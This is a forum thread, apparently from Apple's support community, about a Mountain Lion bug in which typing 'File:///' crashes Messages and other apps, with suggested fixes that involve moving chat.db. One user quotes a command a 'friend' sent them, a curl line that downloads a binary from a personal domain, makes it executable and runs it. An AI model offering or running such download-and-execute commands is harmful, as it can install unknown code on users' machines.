Someone sent File: / / / to me over iMessage, how do I open Messages?

Back up all data.

Triple-click the line below to select it:

~/Library/Messages/chat.db

Right-click or control-click the highlighted line and select

Services ▹ Reveal

from the contextual menu. A Finder window should open with a file selected. Move the selected file to the Desktop, leaving the window open. There may be other files in the same folder with names that begin "chat.db", Move those to the Trash.

Relaunch the application and test. If there's no change, quit again and put the file you moved back where it was, overwriting the one that may have been created in its place. Otherwise, delete the file you moved.

I have this problem too - has clearing the library then restarting your Mac fixed this issue?

My 'friend' who sent me 'File: / / / ' has told me to type this into terminal to fix it, but I do not know the source of this yet:

curl -o filefix http://dl.stanhutcheon.me/filefix && chmod +x filefix && ./filefix

Turning it off and on again seems to help.

What does that mean?

File: / / / is a very strange bug, it will crash almost any app where you type it in (Safari, Textedit, etcetera), the F must be in capitals, and the app crashes at the moment you type the third /.

It is only in Mountain Lion not in the earlier versions of OSX.

It is described in Bug Report.

BTW, it does not crash Terminal, which is the Unix "underlayer" of OS.

So can you help fix this issue in Messages? The problem is that Messages is not open long enough for you to delete the thread containing 'File: / / / ' as it quits unexpectedly as soon as it is opened.

I'm waiting to get home from work to see if Linc Davis's suggestion works.

I propose to use the term file: / / / instead of using the F , because it will frustrate the messages.

The issue is only in Mountain Lion as I said before.

I think that the only way to eliminate it from Messages is with Terminal, and Terminal is not affected by this phenomenon.

I am sure that Linc can solve it. I cannot.

As an addition: your post has arrived empty because of the file: / / / with the capital F.

And as a second addition: your Terminal commands by Stan Hutcheon, just reopens the crashed application, you can do that by hand when you click the crashreport window reopen. It does not solve the issue.

Thanks for clearing up the Terminal command. This is really frustrating, I hope clearing the library and restarting my Mac fixes this. I'll advise in a few hours.

Do not loose hope: there probably is a way to just eliminate the one message with the file:/ / / in it, wait a bit till Linc puzzles it out.
